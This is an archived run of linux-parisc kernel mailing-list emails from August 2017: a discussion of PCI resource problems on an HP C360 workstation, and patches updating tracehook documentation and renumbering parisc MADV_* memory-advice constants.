[    2.350325] pci_bus 0000:e0: root bus resource [io  0x60000-0x6ffff] (bus address [0x0000-0xffff])
[    2.350789] pci_bus 0000:e0: root bus resource [mem 0xfffffffff0000000-0xfffffffffe77ffff] (bus address [0xf0000000-0xfe77ffff])
[    2.358052] pci_bus 0000:e0: root bus resource [bus e0-e7]
[    2.358246] pci 0000:e0:01.0: [103c:1290] type 00 class 0x078000
[    2.358329] pci 0000:e0:01.0: reg 0x18: [mem 0xfffffffff4051000-0xfffffffff405100f]
[    2.358589] pci 0000:e0:01.1: [103c:1048] type 00 class 0x070002
[    2.358634] pci 0000:e0:01.1: reg 0x10: [mem 0xfffffffff4050000-0xfffffffff4050fff]
[    2.358674] pci 0000:e0:01.1: reg 0x18: [mem 0xfffffffff4020000-0xfffffffff403ffff pref]
[    2.358921] pci 0000:e0:02.0: [1002:5159] type 00 class 0x030000
[    2.358965] pci 0000:e0:02.0: reg 0x10: [mem 0xfffffffff0000000-0xfffffffff3ffffff pref]
[    2.358987] pci 0000:e0:02.0: reg 0x14: [io  0x6e000-0x6e0ff]
[    2.359010] pci 0000:e0:02.0: reg 0x18: [mem 0xfffffffff4040000-0xfffffffff404ffff]
[    2.359080] pci 0000:e0:02.0: reg 0x30: [mem 0xfffffffff4000000-0xfffffffff401ffff pref]
[    2.359134] pci 0000:e0:02.0: supports D1 D2
[    2.360013] powersw: Soft power switch support not available.
[    2.370516] WARNING: workqueue cpumask: online intersect > possible intersect
[    2.391187] pci 0000:e0:02.0: vgaarb: setting as boot VGA device
[    2.391359] pci 0000:e0:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none
[    2.391805] pci 0000:e0:02.0: vgaarb: bridge control possible
[    2.391954] vgaarb: loaded

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI resource problem on C360
Date: Fri, 4 Aug 2017 00:45:31 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <4d46bfba-170f-2c79-cf69-45d02ccc5a9f@gmx.de>
References: <20170803140717.GA7380@alpha.franken.de>
 <89A4641B-DE37-41B1-9F9C-B6312F8F0C84@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501800339 19879 195.159.176.226 (3 Aug 2017 22:45:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 3 Aug 2017 22:45:39 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 00:45:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddOrw-0004AQ-Od
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 00:45:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752038AbdHCWpf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 3 Aug 2017 18:45:35 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:56925 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751791AbdHCWpe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 3 Aug 2017 18:45:34 -0400
Original-Received: from [192.168.20.60] ([193.159.18.233]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MSdz2-1e4veK1H8u-00RXjS; Fri, 04
 Aug 2017 00:45:32 +0200
In-Reply-To: <89A4641B-DE37-41B1-9F9C-B6312F8F0C84@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K0:c5vKuKDCCWNF+DyxXs7Y8Ek/HSCRN7LJDH1V/qLf/je2sD+cpUp
 h/5Lv/Fi6LBNzVWDOjypVLfK0P014dCjXsRP/pETYkFh4tIbg7pfDQIiaoJ5Tko+t9KdnLA
 hnEj5KTMbl0/ZLcgCxsjMbmfLH3OddZDJWWNMkYBmzpIthndRB4QslWnofgC+kQUtwEKYHa
 3ayN2Q4Y6NHOmlquQjsiA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:oxfk/8PVYFc=:DFux/vVwyV5uugluOkSkbj
 nN6xT7HoQ3YrURIM4p3QucBL72eeZTlN5anNhh5pcMO/p6hfX9sZ7noTrN2xpmpZy+WVjrH/W
 4qdbZZFiMdap8oxZ+aDnLL7wxuQYXAVXfRQMVrqhyuvRD2kvSJSGFyCNDxiWJKEGOW3ufiDuv
 mknKkXeEoDA0h4/14vpnGWLbDPdYOEwJwMmAYvrI3FGypUg1u96fWMvFCE1wCupJYMQrC3TtK
 II4hh93nR+ux2WbgVIF4kBioZ/ilx4pkRlnRTdMCvU7Gkfol+q9wBBwZ37wA/TyhEfI2RXp4Q
 NRAMr3Nv1WM/XdIZVQ4eDkBZU9cXZMtsUdeIq5bTGG7ySY1xly7EteCIvi6k/pS2RnhovzowO
 fnms2roViFK/SmGa4J6EuD1BTlC5sEAVnVQiPd8tSww2iOuV/U5fo6k3QpwMoFAlj5gM+Ldcc
 5v5nqJr9rt71Su2xZi8ePxKDWkLPigz86s+aDkA0ZcidJ3m8Q2tiOSaTy/R2y07CQdcK7Qu/+
 MwKXhmECBc3ePGbawVhThTvclaFI8mpyYxbWvwMtGzKHoSYIgu5yqXL5OX6ru6y2VdwqPrF0D
 W3UAAsx8oFRrAdbNl3i6SlNEQunXZDLED+pWGzPGwTJNfF7CLU5OqQPppsJgUsDw5mP/Ncdgq
 h1lTic9oukwyQsgAchW/p3VwNbtMc4gCfhLQWsdly0hfDA63Nbf0kZBmTI6WnfvKpB54nbOH0
 ygomhdeKSBNHdbKkBiepYqfSLx2YH2+BHSnFahJrl6dC6VCg4kUNCE+iNCAlTMedTn4QOHlE 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27619
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27619>

On 03.08.2017 17:58, John David Anglin wrote:
> On 2017-08-03, at 10:07 AM, Tom Bogendoerfer wrote:
> 
>> Is this a known problem ? Source tree is current parisc git.
> 
> I don't think so.  Doesn't happen on rp3440:

I had lots of such problems when I tried various VGA and other
PCI cards in my c3000.

I think HP designed many of the PCI slots for special usage only,
e.g. some slots allow PCI graphic cards while others don't.

Maybe plug your cards one-by-one into another slot and check again?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI resource problem on C360
Date: Thu, 3 Aug 2017 19:17:48 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <830FE285-995A-4274-AC6E-A913D723B9D8@bell.net>
References: <20170803140717.GA7380@alpha.franken.de> <89A4641B-DE37-41B1-9F9C-B6312F8F0C84@bell.net> <4d46bfba-170f-2c79-cf69-45d02ccc5a9f@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1501802272 1848 195.159.176.226 (3 Aug 2017 23:17:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 3 Aug 2017 23:17:52 +0000 (UTC)
Cc: Tom Bogendoerfer <tsbogend@alpha.franken.de>,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 01:17:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddPNA-0000Cn-Kz
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 01:17:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751891AbdHCXRu convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 3 Aug 2017 19:17:50 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:36884 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751754AbdHCXRu (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 3 Aug 2017 19:17:50 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170803231748.CUHV3389.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 3 Aug 2017 19:17:48 -0400
Original-Received: from [192.168.2.25] (really [184.144.120.32])
          by mtlspm01.bell.net with ESMTP
          id <20170803231748.ZHMC9294.mtlspm01.bell.net@[192.168.2.25]>;
          Thu, 3 Aug 2017 19:17:48 -0400
In-Reply-To: <4d46bfba-170f-2c79-cf69-45d02ccc5a9f@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=LoB98jVc c=1 sm=0 tr=0 a=pB3QksNGH1A98MjHNgJOQg==:17 a=kj9zAlcOel0A:10 a=KeKAF7QvOSUA:10 a=FBHGMhGWAAAA:8 a=LJ97afMKCB6FFc3XAJwA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27620
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27620>

On 2017-08-03, at 6:45 PM, Helge Deller wrote:

> On 03.08.2017 17:58, John David Anglin wrote:
>> On 2017-08-03, at 10:07 AM, Tom Bogendoerfer wrote:
>> 
>>> Is this a known problem ? Source tree is current parisc git.
>> 
>> I don't think so.  Doesn't happen on rp3440:
> 
> I had lots of such problems when I tried various VGA and other
> PCI cards in my c3000.
> 
> I think HP designed many of the PCI slots for special usage only,
> e.g. some slots allow PCI graphic cards while others don't.
> 
> Maybe plug your cards one-by-one into another slot and check again?

There's something about the firmware disabling dual graphics adapters in slots 1 or 2
if another is plugged into 3 or 4 in the user guide.  I would try slot 4 first.

Some C series units had feeble power supplies and various combination of HP graphics
cards aren't supported.

The c3000 has some PCIX slots and maybe both 3.3 and 5V PCI slots.

I suggest 64bit kernel as it is best tested.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.documentation,gmane.linux.ports.parisc
Subject: [PATCH] docs/features: parisc implements tracehook
Date: Fri, 4 Aug 2017 11:28:39 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20170804102839.23737-1-james.hogan@imgtec.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1501842536 28932 195.159.176.226 (4 Aug 2017 10:28:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 10:28:56 +0000 (UTC)
Cc: James Hogan <james.hogan@imgtec.com>,
        Ingo Molnar <mingo@kernel.org>,
        Jonathan Corbet <corbet@lwn.net>,
        <linux-parisc@vger.kernel.org>, <linux-doc@vger.kernel.org>
To: "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-doc-owner@vger.kernel.org Fri Aug 04 12:28:51 2017
Return-path: <linux-doc-owner@vger.kernel.org>
Envelope-to: lnx-linux-doc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-doc-owner@vger.kernel.org>)
	id 1ddZqc-0006Kl-2d
	for lnx-linux-doc@m.gmane.org; Fri, 04 Aug 2017 12:28:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751507AbdHDK2z (ORCPT <rfc822;lnx-linux-doc@m.gmane.org>);
        Fri, 4 Aug 2017 06:28:55 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:48991 "EHLO
        mailapp01.imgtec.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751291AbdHDK2z (ORCPT
        <rfc822;linux-doc@vger.kernel.org>); Fri, 4 Aug 2017 06:28:55 -0400
Original-Received: from HHMAIL01.hh.imgtec.org (unknown [10.100.10.19])
        by Forcepoint Email with ESMTPS id 39C2668884AE1;
        Fri,  4 Aug 2017 11:28:50 +0100 (IST)
Original-Received: from jhogan-linux.le.imgtec.org (192.168.154.110) by
 HHMAIL01.hh.imgtec.org (10.100.10.21) with Microsoft SMTP Server (TLS) id
 14.3.294.0; Fri, 4 Aug 2017 11:28:53 +0100
X-Mailer: git-send-email 2.13.2
X-Originating-IP: [192.168.154.110]
Original-Sender: linux-doc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-doc.vger.kernel.org>
X-Mailing-List: linux-doc@vger.kernel.org
Xref: news.gmane.org gmane.linux.documentation:49753 gmane.linux.ports.parisc:27621
Archived-At: <http://permalink.gmane.org/gmane.linux.documentation/49753>

Since commit 64e2a42bca12 ("parisc: Add ARCH_TRACEHOOK and regset
support") in v4.7, parisc selects HAVE_ARCH_TRACEHOOK, so update its
entry in Documentation/features from TODO to ok.

Fixes: 64e2a42bca12 ("parisc: Add ARCH_TRACEHOOK and regset support")
Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Ingo Molnar <mingo@kernel.org>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: linux-parisc@vger.kernel.org
Cc: linux-doc@vger.kernel.org
---
 Documentation/features/core/tracehook/arch-support.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Documentation/features/core/tracehook/arch-support.txt b/Documentation/features/core/tracehook/arch-support.txt
index 5e97a89420ef..dfb638c2f842 100644
--- a/Documentation/features/core/tracehook/arch-support.txt
+++ b/Documentation/features/core/tracehook/arch-support.txt
@@ -25,7 +25,7 @@
     |     mn10300: |  ok  |
     |       nios2: |  ok  |
     |    openrisc: |  ok  |
-    |      parisc: | TODO |
+    |      parisc: |  ok  |
     |     powerpc: |  ok  |
     |        s390: |  ok  |
     |       score: | TODO |
-- 
2.13.2

--
To unsubscribe from this list: send the line "unsubscribe linux-doc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Fix up generic MADV_* values and add MADV_HWPOISON
 and MADV_SOFT_OFFLINE
Date: Fri, 4 Aug 2017 18:31:48 +0200
Lines: 99
Approved: news@gmane.org
Message-ID: <20170804163148.GA29168@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501864317 7598 195.159.176.226 (4 Aug 2017 16:31:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 16:31:57 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 18:31:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddfVw-0001zl-Jw
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 18:31:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752614AbdHDQb6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 12:31:58 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:51420 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752350AbdHDQb5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 12:31:57 -0400
Original-Received: from p100.box ([193.159.17.37]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LmbZb-1d59yX3OPj-00aBFa; Fri, 04
 Aug 2017 18:31:50 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:oKVSya5es4jv7NrQuE/mRCrmSz16+G3dHY/MvpbwXTFLZ9jaqd0
 1On6XZKs9f/CcV/2+ydSOTFqwuosfO22fEDXH9ui0iwZX6yb/eScT4Dwxvu9UTezpPghBO9
 xZ6w8M7FNNFJPor8xYiuEObOmmt5pfOUjJDx3+GQxFMvnLAYWViBlZ9ZfA2DXLRNt0q2xO2
 wlitP4g21qLnOdrtvQKxQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:JUENzmb+jlU=:bIMiwhUVVlHT0wzL+1xQfv
 unyCMlde+2HDS1p0a9+CJUMKAlGRPaKiEfPOGySHWk7sNptFIMz/8QDx+AhrmgcIa5ddQUpJl
 5AAk7iL9nNRa193OMfpVMa5/Hcms+SQ021FSIYmECO+g3V2MLvveJDHN1FUpnNk9e6DtKCPR6
 TxE5rHMiqQjJsH+3ltBrtbmNEimO3AWhvQLvRQVPOL1qN97/J8JyV7h+YcoPvxaqPkNFwG/uo
 PcuUsWpBUD3c5bUG9blmPBr6V22GQhtiXUKGf6f6IQDJc2uVPyMSJniN2wNkIeEKmHtl8hd9J
 pDh195WHn/XYpzfBE80L4yWnzeo/eXAsJBBV9ZkP6255ar5Mm03/RTQXiWSI6nNtvVloLyJVM
 +y+X9/Uhxn6dI06ZmANkEH7xtTtFfnEHiJm3uLJJNT49OrwqiVowrIWpTDuUXnsEYd+PzBCVQ
 Cl/zsvsD/aNBWkFpkl+Pc4YHisYtElCmeRwp0FEU/s0ZVstqREMuyoUvPX3d33cOmmQ+BlM1b
 +ZszI4sJWz+O7GtemSqVXHZ+y3OYyiL1rkrWXnXd+RtSUHc755AicZl5f1e4ilI+l21DOS47A
 uFgJAvip7QtbSHJIFN9X1rGWFjS8FKeqM2fnLQ9obmyeWyvZ2MfltxoGBlhqoNkxljoJK2Eqw
 +DqQebqG/8LFzF05BKRx8a9uklPObESURmpm2D0qlH5wL7ulw2mWirILZCPJEM1vSCRxN1k9F
 9NEe0BUCHDxY7Ulb9UkttjBZRss6uOWGHwhNc6TBHbjb+Po/+7ntgliq3g4lBbKCnWY7X26l 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27622 gmane.linux.kernel:2540837
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27622>

This patch adds the missing MADV_HWPOISON (100) and MADV_SOFT_OFFLINE (101)
defines which are needed for an upcoming patch which adds page-deallocation to
parisc.

In addition there is a conflict with some the common/generic MADV_* constants
between kernel headers and glibc headers.  The existing glibc headers on parisc
already define those values in the range of 8-17 which should be common between
all architectures and which all architectures with the exception of parisc
follow.  But the parisc kernel still defines those with values above 65 because
of an old kernel patch which reserved the range of 12-64 for page size
specifications.  The old kernel patch never actually used those values in code,
so changing those MADV_* constants back to the common values shouldn't break
anything and instead make existing userspace applications work as expected.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 5979745..a34ebf4 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -49,16 +49,18 @@
 #define MADV_REMOVE	9		/* remove these pages & resources */
 #define MADV_DONTFORK	10		/* don't inherit across fork */
 #define MADV_DOFORK	11		/* do inherit across fork */
+#define MADV_HWPOISON	100		/* poison a page for testing */
+#define MADV_SOFT_OFFLINE 101		/* soft offline page for testing */
 
-#define MADV_MERGEABLE   65		/* KSM may merge identical pages */
-#define MADV_UNMERGEABLE 66		/* KSM may not merge identical pages */
+#define MADV_MERGEABLE   12		/* KSM may merge identical pages */
+#define MADV_UNMERGEABLE 13		/* KSM may not merge identical pages */
 
-#define MADV_HUGEPAGE	67		/* Worth backing with hugepages */
-#define MADV_NOHUGEPAGE	68		/* Not worth backing with hugepages */
+#define MADV_HUGEPAGE	14		/* Worth backing with hugepages */
+#define MADV_NOHUGEPAGE	15		/* Not worth backing with hugepages */
 
-#define MADV_DONTDUMP   69		/* Explicity exclude from the core dump,
+#define MADV_DONTDUMP   16		/* Explicity exclude from the core dump,
 					   overrides the coredump filter bits */
-#define MADV_DODUMP	70		/* Clear the MADV_NODUMP flag */
+#define MADV_DODUMP	17		/* Clear the MADV_NODUMP flag */
 
 /* compatibility flags */
 #define MAP_FILE	0
diff --git a/tools/arch/parisc/include/uapi/asm/mman.h b/tools/arch/parisc/include/uapi/asm/mman.h
index 03d8d5b..eb4df3e 100644
--- a/tools/arch/parisc/include/uapi/asm/mman.h
+++ b/tools/arch/parisc/include/uapi/asm/mman.h
@@ -1,20 +1,22 @@
 #ifndef TOOLS_ARCH_PARISC_UAPI_ASM_MMAN_FIX_H
 #define TOOLS_ARCH_PARISC_UAPI_ASM_MMAN_FIX_H
-#define MADV_DODUMP	70
-#define MADV_DOFORK	11
-#define MADV_DONTDUMP   69
-#define MADV_DONTFORK	10
-#define MADV_DONTNEED   4
-#define MADV_FREE	8
-#define MADV_HUGEPAGE	67
-#define MADV_MERGEABLE   65
-#define MADV_NOHUGEPAGE	68
 #define MADV_NORMAL     0
 #define MADV_RANDOM     1
-#define MADV_REMOVE	9
 #define MADV_SEQUENTIAL 2
-#define MADV_UNMERGEABLE 66
 #define MADV_WILLNEED   3
+#define MADV_DONTNEED   4
+#define MADV_FREE	8
+#define MADV_REMOVE	9
+#define MADV_DONTFORK	10
+#define MADV_DOFORK	11
+#define MADV_HWPOISON	100
+#define MADV_SOFT_OFFLINE 101
+#define MADV_MERGEABLE	12
+#define MADV_UNMERGEABLE 13
+#define MADV_HUGEPAGE	14
+#define MADV_NOHUGEPAGE 15
+#define MADV_DONTDUMP	16
+#define MADV_DODUMP	17
 #define MAP_ANONYMOUS	0x10
 #define MAP_DENYWRITE	0x0800
 #define MAP_EXECUTABLE	0x1000
@@ -36,10 +38,6 @@
 #define PROT_READ	0x1
 #define PROT_SEM	0x8
 #define PROT_WRITE	0x2
-/* MADV_HWPOISON is undefined on parisc, fix it for perf */
-#define MADV_HWPOISON	100
-/* MADV_SOFT_OFFLINE is undefined on parisc, fix it for perf */
-#define MADV_SOFT_OFFLINE 101
 /* MAP_32BIT is undefined on parisc, fix it for perf */
 #define MAP_32BIT	0
 /* MAP_UNINITIALIZED is undefined on parisc, fix it for perf */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: PDT/firmware: Add support to read PDT on older
 PAT-machines
Date: Fri, 4 Aug 2017 19:12:39 +0200
Lines: 141
Approved: news@gmane.org
Message-ID: <20170804171239.GA29604@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501866773 992 195.159.176.226 (4 Aug 2017 17:12:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 17:12:53 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 19:12:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddg9S-0006G9-6g
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 19:12:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752816AbdHDRMs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 13:12:48 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:49796 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752801AbdHDRMr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 13:12:47 -0400
Original-Received: from p100.box ([193.159.17.37]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M4WNA-1dRWab2XQS-00yiPs; Fri, 04
 Aug 2017 19:12:41 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:G2q0U1VICaw4o4RNqXTufNPDP60vEjxPIaGqXRHOzKeb9cpM0yZ
 d4piQN86LNFpvq9E7Y96eukXXa41V2HCFVPD6T8yz5q5BGJNrnomOvdfyCd9NR3HfEIIBow
 9PRRwItQpedW88ePIvvyQDw+/I3wlwHDfxolyz2cjON7BP97NUWWz5zjWh9OM1fDp07dlKZ
 OAn1jcaBdrrdv3GygGrOQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:lXhsd4JJstA=:b7W04ZyR2s6M0/AhxwA3Ka
 oI4v0eZMDv589bO0Deqxu5mNt7trVAVZX9k8WmNkNax1DjjezNP9wF6tQYTHEMcEgHWuFjWGO
 1S/TzPA2AzdggMCY19CxZG95DlodYWDuomGZX38EfTyAdlnxuOm6VzdGO5G/4AEzgB+UvlzcC
 5HHgcMq1E/uCZ0D5aEtwOVqaaOBMcL7+P6So3Elq7SfyIk8C9KAIj8QiC3MBJoK6GaRDG+Vnl
 LaKRyPuvA7vlGwlc6OVtI1f4s2k5USUcW14b3+TK1qWfIuYBeUMM6ubUqGPgHLL+cKHCZSVI8
 P31d/X7EiWPcOCbi1y5HwI042l4Jr1JMYcuW1E8QtW/agqyb4doSFagp6b0QDag00Ec8wDTg8
 svpvkJVZ8ccilGKfN4D4UAaBHgfEQfww+OKjc6zGEXZTC2sNZpZNls2RcperdhZSSCveO793k
 mk4O53TKt2RPTp0LtvYfHlzsTLMwRutXVG3BveIffce2z2YbwrfGzRPuYumuXXBfP5hhdes1R
 A3jgBcvYeT4g4gckj/xtd2nFqaojOjHcqiJz1jkGpGe/SVJla7LZ9Y20DySb4Sx/p6G3aa2+W
 UhOrGdb6z4WApxQlw9GVumO9qdDTDyymzQRYoJ7fpu4bjA58hqgfMUuoyCWS264SRIENcONy9
 9PTwp/zL9yW2W7Dy8ENuV28DDM+0fYu8Dw+412Z4K1yCConin1k1WdME5VxZdKdP6cg+85Sv2
 7k38YAiLBhYWnj3Y7feHQg5bXS6x720r3k9KRDfjHOkfSu1vMZ6WaixBehFjXb6Q9qXFIa8d 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
